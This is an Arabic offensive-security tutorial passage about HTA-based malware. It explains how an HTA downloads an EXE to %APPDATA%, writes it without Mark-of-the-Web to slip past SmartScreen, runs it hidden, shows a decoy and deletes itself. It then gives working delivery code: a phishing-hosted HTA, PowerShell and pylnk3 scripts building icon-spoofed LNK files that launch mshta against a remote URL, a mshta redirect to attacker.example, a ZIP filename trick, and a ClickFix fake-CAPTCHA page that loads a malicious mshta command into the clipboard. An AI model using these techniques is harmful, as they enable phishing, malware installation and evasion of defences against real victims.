Environment("SYSTEM"/"USER"/"PROCESS")مجموعةقراءة/كتابة متغيرات البيئة الدائمة
SpecialFolders("Desktop"/"Startup"/...)مجموعةمسارات مجلدات النظام
CreateShortcut(path)1 وسيطإنشاء .lnk (استخدمناها في القسم 5)

Run(command, windowStyle, waitOnReturn) بالتفصيل

windowStyle، أعداد SW_* من Win32 API:

القيمةالاسمالسلوك
0SW_HIDEنافذة مخفية تماما: مفضّلة للحمولة
1SW_SHOWNORMALعادية (الافتراضي): مفضّلة للطُعم PDF
2SW_SHOWMINIMIZEDمصغّرة، بدون تركيز
3SW_SHOWMAXIMIZEDشاشة كاملة
4SW_SHOWNOACTIVATEتظهر بحجمها الأصلي بلا تركيز
7SW_SHOWMINNOACTIVEمصغّرة بلا تركيز: استخدمناها في LNK
10SW_SHOWDEFAULTكما حدّدها STARTUPINFO

waitOnReturn، منطقي:

  • false → Run يعود فورا بعد إطلاق العملية؛ HTA يواصل تنفيذ window.close(). هذا ما نريده دائما داخل HTA.
  • true → Run ينتظر حتى تنتهي العملية الفرعية ويعيد رمز الخروج. يُجمّد نافذة HTA، يُلاحَظ بصريا ويُعطّل selfDelete.

Popup(text, secondsToWait, title, type)

  • secondsToWait = 0 → يبقى للأبد حتى يُغلق يدويا.
  • type = مجموع رموز: 0 OK فقط، 1 OK/Cancel، 4 Yes/No، +16 أيقونة "خطأ"، +32 "سؤال"، +48 "تحذير"، +64 "معلومات". استخدمنا 64 = معلومات فقط.

ExpandEnvironmentStrings(str)

  • يستبدل كل %VAR% بقيمتها من بيئة العملية.
  • قيم شائعة: %TEMP%, %APPDATA%, %LOCALAPPDATA%, %USERPROFILE%, %WINDIR%, %PROGRAMDATA%.
  • لو المتغير غير موجود، يُترك كنص حرفي (%FOO% يبقى %FOO%)، بدون خطأ، وهذا خطر: نتحقق يدويا لو المتغير حرج.

RegWrite(key, value, type)

  • استخدام دفاعي: نُنشئ مفتاح استمرارية.
  • type: "REG_SZ" (نص)، "REG_DWORD" (رقم)، "REG_BINARY"، "REG_EXPAND_SZ"، "REG_MULTI_SZ".
  • HKCU/HKLM/HKCR/HKU/HKCC، المفتاح الجذر يُحدَّد بالبادئة.
  • غير مستخدم في الحمولة الحالية لكنه أساس أي persistence مستقبلي.

6) Scripting.FileSystemObject: واجهة الملفات

العضوشرح
FolderExists(path)يعيد true/false. لا يوسّع متغيرات البيئة: نُوسّع نحن أولا
FileExists(path)نفس الشيء للملفات
CreateFolder(path)ينشئ مجلدا واحدا فقط؛ إن كان الأب مفقودا يُلقي استثناء: لهذا نبني تراكميا
DeleteFolder(path, force)حذف مجلد (force=true يتخطى القراءة فقط)
CreateTextFile(path, overwrite, unicode)ينشئ ملفا نصيا ويعيد TextStream: النمط WriteLine
.WriteLine(s) / .Write(s) / .Close()الكتابة على TextStream
OpenTextFile(path, iomode)فتح قائم: iomode: 1=قراءة، 2=كتابة (استبدال)، 8=إلحاق
CopyFile(src, dst, overwrite) / MoveFile / DeleteFileعمليات ملفات
GetSpecialFolder(0/1/2)0=Windows، 1=System، 2=Temp

لماذا شرط cur.length > 3 في ensureDir؟

path.split("\\") على "C:\\Users\\x\\y" يعطي ["C:", "Users", "x", "y"]. أول تكرار cur = "C:"، طولها 2. لو استدعينا FolderExists("C:") فقد تعود false على بعض الأنظمة، ثم نحاول CreateFolder("C:")، استثناء "مسار غير صالح". الشرط length > 3 يعني: تخطّى أي شيء ≤ "C:\" (طول 3). نبدأ فقط من "C:\Users" وما بعده.

7) MSXML2.XMLHTTP.6.0: عميل HTTP

العضودور
open(method, url, async)method: "GET"/"POST". async=false = متزامن. الأخير هام
setRequestHeader(name, value)رؤوس مخصّصة (User-Agent مثلا)
send([body])إطلاق. مع POST نمرّر جسما
statusرقم HTTP. نتحقق == 200
statusTextنص الحالة ("OK")
responseBodySAFEARRAY of unsigned bytes: للثنائيات فقط، يُمرَّر مباشرة لـ ADODB.Stream.Write
responseTextنص مُفكّك بترميز (يُخرّب الثنائيات)
responseXMLDOMDocument لو الرد XML
getAllResponseHeaders()كل الرؤوس

لماذا 6.0 بالتحديد؟

  • .6.0 = MSXML6، الإصدار الوحيد الذي يدعم TLS 1.2+ على Windows 10/11.
  • الإصدارات القديمة (MSXML3, Microsoft.XMLHTTP) قد تفاوض SSL 3.0/TLS 1.0 وتُرفض من خوادم 2026.
  • .6.0 مُثبّت افتراضيا على كل Windows منذ Vista SP1.
  • بديل حديث: WinHttp.WinHttpRequest.5.1، يدعم Proxy تلقائي، لكن MSXML2.XMLHTTP.6.0 أبسط ويكفي حمولتنا.

8) ADODB.Stream: كتابة الثنائيات

العضوشرح
Type1 = adTypeBinary (bytes)؛ 2 = adTypeText (Unicode). يجب ضبطه قبل Open()
Charsetلتدفقات النص فقط: "utf-8", "utf-16"
Open()تهيئة buffer في الذاكرة: لا ملف بعد
Write(bytes)كتابة SAFEARRAY (لثنائي)
WriteText(s)كتابة نص (لنصّي)
Positionمؤشر القراءة/الكتابة داخل الـ buffer
Read([n]) / ReadText([n])قراءة
SaveToFile(path, saveOptions)تفريغ الـ buffer إلى ملف على القرص
LoadFromFile(path)العكس
Close()إغلاق وتحرير

SaveToFile، قيم saveOptions:

القيمةالاسمالسلوك
1adSaveCreateNotExistيفشل لو الملف موجود
2adSaveCreateOverWriteيستبدل: ما نستخدمه

فارق حاسم: ADODB.Stream.SaveToFile لا يضع Zone.Identifier على الملف الجديد. ملف نازل عبر متصفح يحمل MOTW (Zone.Identifier: 3) فيفعّل SmartScreen عند التشغيل. ملفنا يظهر كأنه مصنوع محليا، نقطة قوة هجومية.

9) location.pathname داخل HTA: سلوك خاص

  • في متصفح عادي: location.pathname = مسار URL (/index.html).
  • داخل HTA مفتوح من الملفات: السلوك يختلف بين إصدارات Windows: — بعض إصدارات mshta تعيد بصيغة URL: /C:/Users/alice/Downloads/payload.hta (شرطة / بادئة + فواصل /) — بعضها (Windows 11 24H2 مثلاً) تعيد بصيغة Windows مباشرة: C:\Users\alice\Downloads\payload.hta — في كلتا الحالتين المحارف الخاصة مُرمّزة URL (%20 للمسافة)
  • لذا سلسلة التحويل الآمنة التي تعمل في كلتا الحالتين: — decodeURIComponent(...) → يفكّ %20 والأحرف العربية إلى شكل مقروء — if (raw.charAt(0) === "/") raw = raw.substring(1) → يقص الشرطة البادئة فقط إن وُجدت — .replace(/\//g, "\\") → يبدّل كل / إلى \ لينسجم مع cmd
  • UNC (\\server\share) يعود بصيغة //server/share/...، بعد الفحص charAt(0)==="/" يُقصّ شرطة واحدة فيبقى /server/share\... — ما زال مكسوراً. لهذا الحمولة تُرشد الاستخدام المحلي فقط.

10) cmd /c "...": القاعدة الحقيقيّة والتخريج الصحيح

ماذا يفعل cmd /c "..." بالاقتباسات فعلاً

من وثائق مايكروسوفت (cmd /?، قاعدة 2): إن بدأ ما بعد /c بـ "، فإنّ cmd يُزيل أوّل " وآخر " فقط ثم يُنفّذ الباقي كأمر. لا يُغيّر شيئاً بين الاثنين.

  • هذا يعني: كلّ ما بداخل "..." الخارجيّة يُمرَّر كما هو إلى cmd، بما فيه علامات التنصيص الداخليّة.
  • فيمكننا وضع "PATH" كامل داخل الأمر، ويصل إلى del مُقتبساً كاملاً، وتُقبل المسافات فيه.

قواعد أخرى مهمّة

  • cmd لا يفهم \" كتخريج داخل الأمر، يعامله كحرفين حرفيين (\ + ").
  • "" داخل cmd /c "..." ليست تخريجاً: قاعدة تكرار الاقتباس "" مخصّصة لسياقات أخرى (for /f "tokens=...", WMIC, بعض الملفات الدفعيّة)، لا لسطر cmd /c نفسه.
  • لو كتبت del ""C:\has space\x.hta"" سيُعاملها cmd كسلسلة رموز: "" (سلسلة فارغة مُقتبسة) ثم C:\has (نصّ عارٍ ينكسر عند المسافة)، فتفشل.

الكتابة الصحيحة داخل JScript

سلسلة JScript بين '...' لا تحتاج تخريجاً للاقتباس المزدوج داخلها. نكتب " واحدة حرفيّةً حيث نحتاجها:

javascript
var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "' + me + '""';

قراءتها من الداخل للخارج:

  • الأولى " بعد /c = بداية سلسلة cmd الخارجيّة.
  • الثانية " قبل me = تُقتبس المسار.
  • الثالثة " بعد me = تُغلق اقتباس المسار.
  • الرابعة " (الأخيرة) = تُغلق سلسلة cmd الخارجيّة.

النتيجة الفعليّة التي يراها cmd قبل تجريد الاقتباس الخارجيّ:

text
cmd.exe /c "timeout /t 2 /nobreak >nul & del "C:\My Docs\payload.hta""

و بعد تطبيق قاعدة 2 من cmd /c (إزالة أوّل " وآخر "):

text
timeout /t 2 /nobreak >nul & del "C:\My Docs\payload.hta"

del تحصل على "C:\My Docs\payload.hta" مُقتبساً كاملاً، فتحذف الملف بلا مشكلة مسافات.

لماذا \" (الأسلوب الشائع في JScript) لا يعمل

  • \" في JScript يُنتج حرف " واحد داخل السلسلة النهائيّة.
  • لأنّه نفس عدد الأحرف، السلسلة الناتجة مطابقة للنسخة الصحيحة أعلاه — إذا استعملت \" مع نفس عدد الاقتباسات، النتيجة صحيحة.
  • المشكلة الأصليّة في نسخة PDF لم تكن أنّ \" لا يعمل، بل أنّ عدد الاقتباسات كان خاطئاً (لم نضع اقتباساً حول المسار). أيّ من الأسلوبين يعمل ما دام عدد الاقتباسات صحيحاً.

لماذا "" (تكرار الاقتباس) اختبرناه ولا يعمل

  • محاولة إصلاح لاحقة استعملت "" (تكرار الاقتباس) بافتراض أنّه تخريج قياسيّ داخل cmd /c.
  • نتيجة الاختبار على Windows 11: مع مسار بلا مسافات يعمل بالمصادفة (لأنّ ""..."" بلا مسافات يتحوّل إلى token واحد يقبله del)، ومع مسار فيه مسافة يفشل صامتاً (يُكسر عند أوّل مسافة).
  • الدرس: لا تُصدّق الإصلاح الذي لم تختبره على مسار فيه مسافة.

11) window.close(): هل هو كافٍ

  • window.close() يُنهي عملية mshta.exe الحاضنة.
  • لو حُذف: HTA يبقى مفتوحا (مصغّرا)، عملية mshta.exe تظل في Task Manager، ذيل جنائي.
  • لو استُدعي قبل Run(...) غير المتزامنة: العملية الفرعية أُطلقت قبلا فتستمر، لكن الأفضل استدعاؤه أخيرا.
  • لا يقتل العمليات الفرعية، الحمولة تعمل بعده باستقلال.

12) try / catch(e) {}: البلع الصامت

  • JScript يرمي استثناءات على أخطاء COM (مثل CreateFolder لمجلد موجود).
  • catch(e) {} بجسم فارغ = "تجاهل تماما".
  • عمليا يعني: لا تكسر السلسلة. إن فشل جزء، الأجزاء التالية تحاول.
  • عيبه الدفاعي: يخفي أعطالا حقيقية. عيبه الهجومي: نفسه، قد يظن المهاجم أن كل شيء عمل بينما فشلت خطوة. لهذا يُستخدم فقط حيث الفشل مقبول (المجلد موجود سلفا).

13) setTimeout: لماذا لا نستخدمه

  • setTimeout متوفّر في HTA نظريا لكن يحتاج HTA بقاء حيا حتى ينفّذ الاستدعاء المؤجّل.
  • نحن نريد HTA يغلق نفسه، ثم بعد 2 ثانية يُحذف الملف. لو استخدمنا setTimeout(deleteFile, 2000) ثم window.close(): close يقتل الخيط قبل انطلاق المؤقّت.
  • الحل: نُفوّض التأخير لعملية خارجية، cmd.exe /c "timeout /t 2 & del ...". timeout أمر Windows مبني يعطي تأخيرا حقيقيا مستقلا عن HTA.
  • بديل قديم: ping 127.0.0.1 -n 3 >nul (يعطي تأخير ~2 ثانية). timeout أنظف منذ Windows 7.

14) سلسلة الأدوات مجتمعة: من URL إلى EXE مشغّل

الخطوةالأداةالسطر
تحويل %APPDATA% إلى مسار حقيقيWScript.Shell.ExpandEnvironmentStringssh.ExpandEnvironmentStrings(DROP_DIR)
بناء المجلدات المفقودةScripting.FileSystemObject.FolderExists + CreateFolderحلقة ensureDir
تنزيل bytes من HTTPSMSXML2.XMLHTTP.6.0http.open("GET",...), http.send(), http.responseBody
كتابة bytes على القرص بلا MOTWADODB.Stream مع Type=1 + SaveToFile(...,2)stream.Write(...), stream.SaveToFile(...)
تشغيل EXE بلا نافذةWScript.Shell.Run(cmd, 0, false)runHidden('"' + payload + '"')
فتح طُعم مرئياWScript.Shell.Run(cmd, 1, false)sh.Run('"' + decoyPath + '"', 1, false)
حذف ذاتي مؤجّلcmd /c timeout & del مع تكرار ""selfDelete()
إنهاء mshtawindow.close()آخر سطر في onload

كل هذا في < 2 KB من النص، بدون ملف .exe مصنوع من المهاجم، وبدون أي مكتبة خارجية، استغلال كامل لما يوفّره Windows نفسه لأي HTA مفتوح.

✅ اختبر نفسك: القسم 4

  1. رتّب التكرارات الستة حسب ما يضيفه كلٌّ منها. ما القدرة الجديدة التي أُضيفت في كل خطوة؟
  2. ما دور XMLHTTP وما دور ADODB.Stream في التكرار 4؟ لماذا لا يكفي أحدهما وحده؟
  3. في التكرار 5 نحفظ الحمولة في %APPDATA%. لماذا هذا المجلد تحديداً وليس C:\Program Files؟
  4. ما وظيفة الطُعم (decoy) في التكرار 6؟ ولماذا نفتحه قبل تشغيل الحمولة وليس بعدها؟
  5. لو حذفت سطر إغلاق النافذة من التكرار 2، ماذا يلاحظ الضحية؟

4/5 = تابع. أقل = أعد بناء التكرارات 4 و 5 سطراً سطراً.


القسم 5القسم 5: طرق التوصيل: كيف يصل HTA للضحية

امتداد .hta مثير للشك في 2026. المتصفحات الحديثة تحذّر أو تحجب تحميله. Gmail يمنع المرفقات بهذا الامتداد. سنستعرض خمس طرق مرتّبة من الأسهل للأذكى.

الطريقة 1: رابط إنترنت مباشر (السذاجة الأولى)

المهاجم يستضيف الـ HTA على خادم ويب ويرسل الرابط في بريد تصيدي.

bash
# على الـ Attacker VM:
sudo cp ~/lab/hta/06-decoy.hta   /var/www/html/Q4-Report.hta
sudo systemctl reload nginx

# في بريد الضحية:
# انقر هنا لمراجعة تقرير Q4:
# https://updates.corp-notes.test/Q4-Report.hta

المشكلة في 2026: Chrome 100+ و Edge 100+ يظهران تحذيرا واضحا: "This file may be unsafe". النسبة النجاح ~15-25% حسب دراسات صيد الخيل الحديثة.

الطريقة 2: LNK يشير إلى mshta URL (الأكثر فعالية)

الضحية تستلم ملف .lnk بدلا من .hta. الاختصار يبدو ملفا شرعيا (يمكن أن يحمل أي أيقونة)، لكن هدفه: تشغيل mshta.exe مع URL خبيث. لا حاجة لتحميل الـ HTA، mshta يجلبه مباشرة.

صنع LNK من PowerShell (بلا مكتبات إضافية، الأكثر موثوقية):

powershell
# احفظ هذا كـ create-lnk.ps1 وشغّله من PowerShell عادي (لا يحتاج Admin):
$WshShell     = New-Object -ComObject WScript.Shell
$Shortcut     = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Q4-Report.lnk")
$Shortcut.TargetPath   = "$env:SystemRoot\System32\mshta.exe"
$Shortcut.Arguments    = "https://updates.corp-notes.test/x.hta"
$Shortcut.IconLocation = "$env:ProgramFiles\Adobe\Acrobat DC\Acrobat\Acrobat.exe,0"
$Shortcut.Description  = "Q4 Financial Report - Confidential"
$Shortcut.WorkingDirectory = "$env:USERPROFILE"
$Shortcut.WindowStyle  = 7    # 7 = Minimized
$Shortcut.Save()

Write-Host "✓ Created Q4-Report.lnk on Desktop"

بديل، من WSL Ubuntu باستخدام pylnk3 (إن كنت مضطرا):

bash
# ملاحظة: pylnk3 API متغير بين النسخ. الأضمن استخدام PowerShell أعلاه.
pip3 install pylnk3
python3 <<'PYEOF'
import pylnk3
# API يختلف حسب نسخة pylnk3؛ راجع pylnk3.__version__
# النسخ الحديثة (>= 0.4):
lnk = pylnk3.create('/mnt/c/Users/attacker/Desktop/Q4-Report.lnk')
lnk.relative_path = r'C:\Windows\System32\mshta.exe'
lnk.arguments = 'https://updates.corp-notes.test/x.hta'
lnk.description = 'Q4 Financial Report'
lnk.save()
PYEOF

لماذا هذه فعالة أكثر: Windows Explorer يعرض أيقونة Adobe Reader (Icon spoofing). امتداد .lnk مخفي افتراضيا، الضحية ترى "Q4-Report" فقط. Gmail يقبل .lnk في ZIP. عند النقر: Windows يشغّل mshta بلا سؤال (mshta برنامج داخلي موقع). النسبة النجاح ترتفع إلى 40-60%.

الطريقة 3: HTML صفحة تحمل mshta:// protocol handler (تاريخية)

خدعة جميلة نظريا لكن مايكروسوفت أضعفتها كثيرا بعد 2010، وفي 2026 معطلة كليا في Chrome/Edge/Firefox. لا تصلح للاستخدام الحقيقي، لكن جيدة كمعرفة تاريخية:

html
<!-- attacker.html — لا تعمل على المتصفحات الحديثة -->
<script>
  window.location = "mshta:https://attacker.example/x.hta";
</script>

IE 6-9 على XP كانت تنفذ هذا فعليا. اليوم: Chrome/Edge يتجاهلون الـ protocol handler ما لم يكن مسجلا في Registry. النسبة النجاح: <5%.

الطريقة 4: الـ HTA داخل ZIP مع اسم مضلل

بعد أن مايكروسوفت أغلقت ثغرة MOTW في نوفمبر 2022، الملفات داخل ZIP أصبحت ترث علامة الويب. لكن الحيلة: امتداد مضلل داخل ZIP. Windows Explorer يقص الاسم في العرض ويظهر Q4-Report.pdf فقط.

bash
# على WSL:
mkdir -p /tmp/pack
# اسم فيه مسافات كثيرة قبل الامتداد الحقيقي:
cp ~/lab/hta/06-decoy.hta \
   "/tmp/pack/Q4-Report.pdf                                    .hta"
cd /tmp/pack
zip -r /tmp/Documents.zip .

# ارسل Documents.zip بالبريد.
# على الضحية: تفتح الـ zip، ترى Q4-Report.pdf، تنقر مرتين، ينفذ mshta.

النسبة النجاح: 30-45%. سلبيتها: 7-Zip 22+ تحذّر من الأسماء المشبوهة.

الطريقة 5: الحيلة الحديثة: ClickFix (سابقة الفصل: درس المحاضرة 4)

أحدث طرق الهجوم في 2024-2026. بدل تسليم ملف، نطلب من الضحية أن تنفذ mshta بنفسها. صفحة إنترنت تعرض CAPTCHA مزيفة:

html
<!-- fake-captcha.html -->
<html>
<head><style>body{font-family:Segoe UI;padding:40px;text-align:center;}</style></head>
<body>
  <h2>To verify you are human, please:</h2>
  <ol style="text-align:left;max-width:400px;margin:auto;">
    <li>Press <kbd>Win + R</kbd> on your keyboard</li>
    <li>Press <kbd>Ctrl + V</kbd> to paste</li>
    <li>Press <kbd>Enter</kbd></li>
  </ol>
  <script>
    // نسخ الأمر تلقائيا إلى الحافظة عند تحميل الصفحة
    var cmd = "mshta https://updates.corp-notes.test/x.hta # \u2713 Not a robot";
    navigator.clipboard.writeText(cmd);
  </script>
</body>
</html>
⚠️ لماذا ClickFix أسوأ كوابيس المدافع المستخدم نفسه فتح Win+R وشغّل الأمر بيديه. النتيجة على النظام: - لا يوجد ملف .hta على القرص أصلا - لا يوجد ملف تنزيل مشبوه في Downloads - SmartScreen لا يرى شيئا - Windows Defender لا يرى شيئا إلا لحظة إنشاء wmupdate.exe الحماية الوحيدة الفعّالة: الوعي البشري. حسب Microsoft Digital Defense Report 2025: 47% من الوصول الأولي في 2025 كان عبر ClickFix.

مرجع تفصيلي: القسم 5: طرق التوصيل الخمس

هذا المرجع يشرح كل سطر أمر وكل كتلة كود في القسم 5 خطوة بخطوة، بلغة مبسطة للمبتدئين. المصطلحات التقنية الإنجليزية (أسماء الأوامر، الدوال، المتغيرات، مسارات الأنظمة) تُترك كما هي لأنها هوية تقنية لا تُترجم.


🎯 الطريقة 1: رابط إنترنت مباشر

كتلة الكود

bash
sudo cp ~/lab/hta/06-decoy.hta /var/www/html/Q4-Report.hta
sudo systemctl reload nginx

شرح sudo cp ~/lab/hta/06-decoy.hta /var/www/html/Q4-Report.hta

  • sudo: "Super User DO". ينفّذ الأمر بصلاحيات الجذر root. مطلوب هنا لأن /var/www/html/ مملوك لـ root ولا يمكن للمستخدم العادي الكتابة فيه.
  • cp: "copy". أمر POSIX للنسخ.
  • ~/lab/hta/06-decoy.hta: المصدر. ~ اختصار لمجلد المستخدم ($HOME).
  • /var/www/html/Q4-Report.hta: الهدف. لاحظ تغيير الاسم من 06-decoy.hta إلى Q4-Report.hta، هذا اختيار هندسة اجتماعية (اسم يبدو شرعيا).

شرح sudo systemctl reload nginx

  • systemctl: أداة systemd (نظام التهيئة الرسمي في Ubuntu/Debian الحديث) للتحكم في الخدمات.
  • reload لا restart: — reload: يُرسل إشارة SIGHUP للخدمة → تعيد قراءة إعدادات التهيئة بدون قطع الاتصالات النشطة. المستخدمون الحاليون لا يشعرون بشيء. — restart: يوقف الخدمة تماما ثم يُشغّلها من جديد → يقطع جميع الاتصالات لبضع ثوان. — قاعدة: reload عند تعديل إعدادات، restart عند تحديث البرنامج نفسه أو حدوث خطأ. هنا نضيف ملفا فقط داخل الـ docroot، ولا حتى نحتاج reload بالمعنى الفني (nginx يقرأ الملفات من القرص عند كل طلب)، لكن السطر تعليمي/احتياطي للتأكد من إعادة تحميل أي mime.types مضاف.

ما هو /var/www/html؟

  • الـ docroot الافتراضي لـ nginx و Apache على Ubuntu/Debian. أي ملف بداخله يصبح متاحا على http://<server>/<filename> مباشرة.
  • بدائل شائعة: — /usr/share/nginx/html/ (على CentOS/RHEL). — أي مسار يحدده المدافع في server { root /path/... } داخل /etc/nginx/sites-available/. — في هجمات حقيقية: يُنصح بمسار مخصص لكل حملة لعزل السجلات.

لماذا Chrome 100+ يحذّر من .hta؟

ثلاث آليات مجتمعة تُشغّل التحذير:

  1. Google Safe Browsing: قائمة سوداء ديناميكية. Chrome يُرسل تجزئة (hash) الرابط إلى خدمة Google للتحقق. أي URL يقدم امتدادا خطيرا معروفا (.hta، .scr، .pif) يُعلَّم فورا.
  2. قائمة "Dangerous file types": Chrome يحتفظ داخليا بقائمة صريحة لامتدادات خطيرة. منذ Chrome 91 (2021) أضاف .hta، ومنذ Chrome 100 (2022) شدد الرسالة إلى "This file may be unsafe".
  3. فحص MIME type: إذا أرسل الخادم Content-Type: application/hta أو application/octet-stream مع ملف .hta، Chrome يفحص "magic bytes" ويتحقق. الحيل مثل تسمية الملف .txt وإرسال MIME خاطئ لا تنجح، Chrome يعتمد على الامتداد في URL.

النتيجة: نسبة النقر تنخفض إلى 15-25%.


🎯 الطريقة 2: LNK يشير إلى mshta URL

كتلة الكود PowerShell

powershell
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\Q4-Report.lnk")
$Shortcut.TargetPath   = "$env:SystemRoot\System32\mshta.exe"
$Shortcut.Arguments    = "https://updates.corp-notes.test/x.hta"
$Shortcut.IconLocation = "$env:ProgramFiles\Adobe\Acrobat DC\Acrobat\Acrobat.exe,0"
$Shortcut.Description  = "Q4 Financial Report - Confidential"
$Shortcut.WorkingDirectory = "$env:USERPROFILE"
$Shortcut.WindowStyle  = 7
$Shortcut.Save()

شرح New-Object -ComObject WScript.Shell

  • New-Object: cmdlet PowerShell لإنشاء نسخة (instance) من كائن.
  • -ComObject: يخبر PowerShell أن الكائن ليس .NET بل COM (Component Object Model).
  • ما هو COM؟ بروتوكول قديم من مايكروسوفت (منذ 1993) يُتيح للبرامج استدعاء كائنات مكتوبة بأي لغة (C++, VB, Delphi...) بشكل موحد. مايكروسوفت تُصدّر مئات الكائنات: Excel، Word، Outlook، Windows Explorer، جميعها قابلة للأتمتة عبر COM.
  • WScript.Shell: كائن محدد تُصدّره مكتبة Windows Script Host. يوفر: — إنشاء اختصارات (.lnk). — قراءة/كتابة Registry. — تشغيل برامج (.Run() مثل ما رأيناه في HTA). — إظهار Popups (.Popup()).
  • لماذا هذا الكائن للاختصارات؟ لأنه واجهة رسمية موثقة من مايكروسوفت لإنشاء ملفات LNK بدون الحاجة لكتابة تنسيق الملف الثنائي (binary) يدويا.

شرح $Shortcut = $WshShell.CreateShortcut(...)

  • الاستدعاء يُعيد كائنا من نوع IWshShortcut (واجهة COM موثقة).
  • مهم: إذا كان الملف موجودا بالمسار المحدد، تُحمّل خصائصه؛ وإلا يُنشئ كائنا فارغا في الذاكرة فقط. لا يُكتب أي شيء للقرص حتى تستدعي .Save().

شرح كل خاصية بالتفصيل

TargetPath = "$env:SystemRoot\System32\mshta.exe"

  • المسار الكامل للبرنامج الذي سيُنفَّذ عند النقر المزدوج.
  • $env:SystemRoot = C:\Windows عادة (متغير بيئة Windows).
  • النتيجة النهائية: C:\Windows\System32\mshta.exe.

Arguments = "https://updates.corp-notes.test/x.hta"

  • المعاملات (arguments) التي تُمرَّر للبرنامج.
  • mshta يقبل URL كوسيط، فيُحمّل HTA ويُنفذه.

IconLocation = "$env:ProgramFiles\Adobe\Acrobat DC\Acrobat\Acrobat.exe,0"

  • صياغة path,index: مسار ملف يحتوي أيقونات + رقم الأيقونة داخله.
  • أي ملف .exe, .dll, .ico قد يحمل عدة أيقونات مرقمة 0, 1, 2....
  • ,0 = أول أيقونة داخل Acrobat.exe = أيقونة Adobe الحمراء المألوفة.
  • الحيلة: Windows Explorer يعرض أيقونة PDF، الضحية يظن الملف مستند PDF.
  • بدائل: — shell32.dll,3 = أيقونة مجلد. — imageres.dll,175 = أيقونة Word. — %SystemRoot%\System32\WScript.exe,0 = أيقونة سكربت.

Description = "Q4 Financial Report - Confidential"

  • النص الذي يظهر في tooltip عند مرور الفأرة فوق الأيقونة.
  • يُساعد على تعزيز الوهم.

WorkingDirectory = "$env:USERPROFILE"

  • المجلد الذي يُعتبر "الحالي" (Current Directory) لحظة تشغيل البرنامج.
  • $env:USERPROFILE = C:\Users\<username> عادة.
  • مهم لبرامج تبحث عن ملفات نسبية.

WindowStyle = 7

  • كيف تظهر نافذة البرنامج عند التشغيل. القيم: — 1 = Normal (طبيعي، الحجم الافتراضي). — 3 = Maximized (ملء الشاشة). — 7 = Minimized (مصغّر في شريط المهام).
  • لماذا 7 هنا؟ لإخفاء نافذة mshta قدر الإمكان، الضحية ترى وميضا سريعا فقط في شريط المهام.

Hotkey (غير مذكور لكن مهم)

  • سلسلة مثل "Ctrl+Alt+F" تُسجّل اختصار لوحة مفاتيح عام.
  • خطر: إذا كتبها الضحية بالخطأ في أي مكان، يُشغَّل الاختصار.
  • يُتجنّب في الحملات الحقيقية لأنه قد يُشغَّل عرضا وينكشف.

شرح $Shortcut.Save()

  • الاستدعاء الذي يكتب فعليا ملف .lnk إلى القرص بالمسار الذي حدّدناه في CreateShortcut.
  • قبل هذا السطر، كل التعديلات في الذاكرة فقط.
  • صيغة ملف LNK عاليا (ShellLink format): — رأس ثابت (76 بايت) يبدأ بـ 4C 00 00 00 (Magic Number = "L"). — LinkTargetIDList: قائمة معرّفات Shell (PIDL) لكل جزء من المسار. — LinkInfo: معلومات وحدة التخزين (Serial Number، Drive Type). — سلاسل نصية (StringData): TargetPath, Arguments, IconLocation, Description, WorkingDir. — كتلة إضافية (ExtraData) لخصائص مثل EnvironmentVariableDataBlock.
  • التنسيق موثق في [MS-SHLLINK] لكن معقد؛ لذا يُفضَّل استخدام COM.

متغيرات البيئة $env: في PowerShell

PowerShell يوفر "PSDrive" اسمه env: يعرض متغيرات البيئة كمُتغيرات:

المتغيرالقيمة المعتادةالاستخدام
$env:USERPROFILEC:\Users\<user>مجلد المستخدم
$env:SystemRootC:\Windowsمجلد Windows
$env:ProgramFilesC:\Program Filesالبرامج 64-bit
${env:ProgramFiles(x86)}C:\Program Files (x86)البرامج 32-bit
$env:APPDATAC:\Users\<user>\AppData\Roamingإعدادات تُنقل مع المستخدم
$env:LOCALAPPDATAC:\Users\<user>\AppData\Localإعدادات محلية للجهاز
$env:TEMP...\AppData\Local\Tempملفات مؤقتة
$env:COMPUTERNAMEاسم الجهازتحديد الجهاز
$env:USERDOMAINاسم النطاقActive Directory

استخدامها يجعل السكربت متحرّكا، يعمل على أي جهاز Windows بدون تعديل مسارات ثابتة.

لماذا LNK يتجاوز الحماية مبدئيا؟

  1. LNK ليس EXE: لا يحتوي على كود قابل للتنفيذ، فقط بيانات وصفية تشير لبرنامج شرعي. لا محرّك AV تقليدي يعتبره خبيثا في حدّ ذاته.
  2. SmartScreen يفحص التنزيلات لا LNKs: SmartScreen يعتمد على "reputation" الملفات القابلة للتنفيذ. LNK بلا سمعة لكن أيضا بلا خطر معروف → يمر.
  3. البرنامج المُنفَّذ موثوق: mshta.exe مُوقّع من مايكروسوفت، مُدرج في قائمة Windows Trusted Installer. أي رقابة سلوكية ترى فقط "Microsoft binary launched".
  4. Gmail و Outlook يقبلان LNK داخل ZIP: بعكس .hta أو .exe.

التطوّرات الأخيرة (2023-2025):

  • Windows 11 22H2+ يعرض تحذير SmartScreen عند تشغيل LNK محمّل من الإنترنت (MOTW).
  • Defender ATP يكشف "LNK with mshta target" كسلوك مشبوه منذ 2023.
  • لكن نسبة النجاح لا تزال 40-60% في البيئات غير المُحدَّثة.

🎯 الطريقة 2 (بديل): pylnk3 من WSL

كتلة الكود

bash
pip3 install pylnk3
python3 <<'PYEOF'
import pylnk3
lnk = pylnk3.create('/mnt/c/Users/attacker/Desktop/Q4-Report.lnk')
lnk.relative_path = r'C:\Windows\System32\mshta.exe'
lnk.arguments = 'https://updates.corp-notes.test/x.hta'
lnk.description = 'Q4 Financial Report'
lnk.save()
PYEOF

شرح pip3 install pylnk3

  • pip3: مدير حزم Python 3. يُنزّل مكتبات من PyPI.
  • pylnk3: مكتبة Python طرف ثالث تُنشئ/تقرأ ملفات LNK بدون الاعتماد على COM (لأن COM حصريا لWindows، لكن Python على WSL يعمل بلينكس).
  • مشكلة --break-system-packages على Ubuntu 23.04+: — PEP 668 يجعل pip install يفشل على مستوى النظام لتجنب التعارض مع apt. — الحلول: — pip3 install --user pylnk3 (تثبيت في ~/.local/). — إنشاء بيئة افتراضية: python3 -m venv .venv && source .venv/bin/activate. — إجبار: pip3 install --break-system-packages pylnk3 (غير مستحسن).

شرح pylnk3.create() API

  • تُنشئ كائن pylnk3.Lnk في الذاكرة.
  • ثم نُعيّن خصائصه (relative_path, arguments, description).
